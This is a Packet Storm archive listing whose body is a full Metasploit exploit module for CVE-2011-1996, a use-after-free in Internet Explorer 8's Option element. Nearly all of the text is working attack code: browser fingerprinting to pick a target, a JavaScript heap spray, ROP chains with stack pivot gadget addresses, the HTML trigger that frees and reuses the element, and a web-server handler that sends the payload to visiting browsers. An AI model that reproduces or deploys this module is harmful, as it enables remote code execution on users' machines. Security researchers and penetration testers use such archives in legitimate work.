Lucene search

K
packetstormIvan FratricPACKETSTORM:119426
HistoryJan 10, 2013 - 12:00 a.m.

Microsoft Internet Explorer Option Element Use-After-Free

2013-01-1000:00:00
Ivan Fratric
packetstormsecurity.com
22

EPSS

0.937

Percentile

99.2%

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Exploit::RopDb  
  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Microsoft Internet Explorer Option Element Use-After-Free",  
'Description' => %q{  
This module exploits a vulnerability in Microsoft Internet Explorer. A memory  
corruption may occur when the Option cache isn't updated properly, which allows  
other JavaScript methods to access a deleted Option element, and results in code  
execution under the context of the user.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Ivan Fratric', #Initial discovery  
'juan vazquez', #Metasploit  
'sinn3r' #Metasploit  
],  
'References' =>  
[  
[ 'CVE', '2011-1996' ],  
[ 'MSB', 'MS11-081' ],  
[ 'URL', 'http://ifsec.blogspot.com/2011/10/internet-explorer-option-element-remote.html' ],  
[ 'URL', 'http://pastebin.com/YLH725Aj' ]  
],  
'Payload' =>  
{  
'StackAdjustment' => -3500,  
},  
'DefaultOptions' =>  
{  
'InitialAutoRunScript' => 'migrate -f'  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Automatic', {} ],  
[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => 0x4f8, 'OffsetVirtualFunc' => 502 } ],  
[ 'IE 8 on Windows Vista', { 'Rop' => :jre, 'Offset' => 0x4f8, 'OffsetVirtualFunc' => 502 } ],  
[ 'IE 8 on Windows 7', { 'Rop' => :jre, 'Offset' => 0x4f8, 'OffsetVirtualFunc' => 502 } ]  
],  
'Privileged' => false,  
'DisclosureDate' => "Oct 11 2012",  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])  
], self.class)  
  
end  
  
def get_target(agent)  
#If the user is already specified by the user, we'll just use that  
return target if target.name != 'Automatic'  
  
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''  
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''  
  
ie_name = "IE #{ie}"  
  
case nt  
when '5.1'  
os_name = 'Windows XP SP3'  
when '6.0'  
os_name = 'Windows Vista'  
when '6.1'  
os_name = 'Windows 7'  
end  
  
targets.each do |t|  
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))  
print_status("Target selected as: #{t.name}")  
return t  
end  
end  
  
return nil  
end  
  
def ie_heap_spray(my_target, p)  
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))  
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))  
js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))  
  
js = %Q|  
function heap_spray() {  
var heap_obj = new heapLib.ie(0x20000);  
var code = unescape("#{js_code}");  
var nops = unescape("#{js_nops}");  
while (nops.length < 0x80000) nops += nops;  
var offset = nops.substring(0, #{my_target['Offset']});  
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);  
while (shellcode.length < 0x40000) shellcode += shellcode;  
var block = shellcode.substring(0, (0x80000-6)/2);  
heap_obj.gc();  
for (var i=1; i < 0x300; i++) {  
heap_obj.alloc(block);  
}  
var overflow = nops.substring(0, 10);  
}  
|  
  
js = heaplib(js, {:noobfu => true})  
  
if datastore['OBFUSCATE']  
js = ::Rex::Exploitation::JSObfu.new(js)  
js.obfuscate  
@heap_spray_func = js.sym("heap_spray")  
end  
  
return js  
end  
  
def get_payload(t, cli)  
code = payload.encoded  
  
# No rop. Just return the payload.  
return code if t['Rop'].nil?  
  
# Both ROP chains generated by mona.py - See corelan.be  
case t['Rop']  
when :msvcrt  
print_status("Using msvcrt ROP")  
rop_payload = generate_rop_payload('msvcrt', "", {'target'=>'xp'})  
rop_payload << make_nops(t['OffsetVirtualFunc']-rop_payload.length)  
rop_payload << "\xeb\x04" # jmp $+6  
rop_payload << [0x77c15ed5].pack("V") # 0x0c0c0c0 # stackpivot => xchg eax, esp # ret  
rop_payload << code  
else  
print_status("Using JRE ROP")  
rop_payload = generate_rop_payload('java', '')  
rop_payload << make_nops(t['OffsetVirtualFunc']-rop_payload.length)  
rop_payload << "\xeb\x08" # jmp $+10  
rop_payload << [0x7c348b05].pack("V") # stackpivot => xchg eax, esp # ret  
rop_payload << [0x7c348b05].pack("V") # stackpivot => xchg eax, esp # ret  
rop_payload << code  
end  
  
return rop_payload  
end  
  
def load_exploit_html(my_target, cli)  
@heap_spray_func = "heap_spray"  
p = get_payload(my_target, cli)  
js = ie_heap_spray(my_target, p)  
  
  
#var fakeobj = unescape("%u0c0c%u0c0c");  
#call to 0c0c0c0c  
#eax ==> 0c0c0a14  
html = %Q|  
<!DOCTYPE html>  
<html>  
<head>  
<script>  
#{js}  
  
function ivan()  
{  
  
var fakeobj = unescape("%u0a14%u0c0c");  
fakeobj += unescape("%u4141%u4141");  
while (fakeobj.length <= 0x38/2) fakeobj += unescape("%u4141%u4141");  
  
var formobj, selobj, optobj;  
selobj = document.getElementById("select1");  
formobj = selobj.form;  
  
var imgarray = new Array();  
for(var j = 0; j < 500; j++) {  
imgarray.push(document.createElement("img"));  
}  
  
for(var i=0;i<5;i++) {  
optobj = document.createElement('option');  
optobj.text = "test";  
selobj.add(optobj);  
}  
  
selobj.innerText = "foo";  
  
for(var i = 0; i < imgarray.length; i++) {  
imgarray[i].title = fakeobj.substring(0, 0x38 / 2 - 1);  
}  
  
#{@heap_spray_func}();  
  
formobj.reset();  
}  
  
</script>  
</head>  
  
<body onload='ivan()'>  
<form method="post">  
<select id="select1">  
</select>  
</form>  
</body>  
</html>  
|  
  
return html  
end  
  
def on_request_uri(cli, request)  
agent = request.headers['User-Agent']  
uri = request.uri  
print_status("Requesting: #{uri}")  
  
my_target = get_target(agent)  
# Avoid the attack if no suitable target found  
if my_target.nil?  
print_error("Browser not supported, sending 404: #{agent}")  
send_not_found(cli)  
return  
end  
  
html = load_exploit_html(my_target, cli)  
html = html.gsub(/^\t\t/, '')  
print_status("Sending HTML...")  
send_response(cli, html, {'Content-Type'=>'text/html'})  
end  
end  
`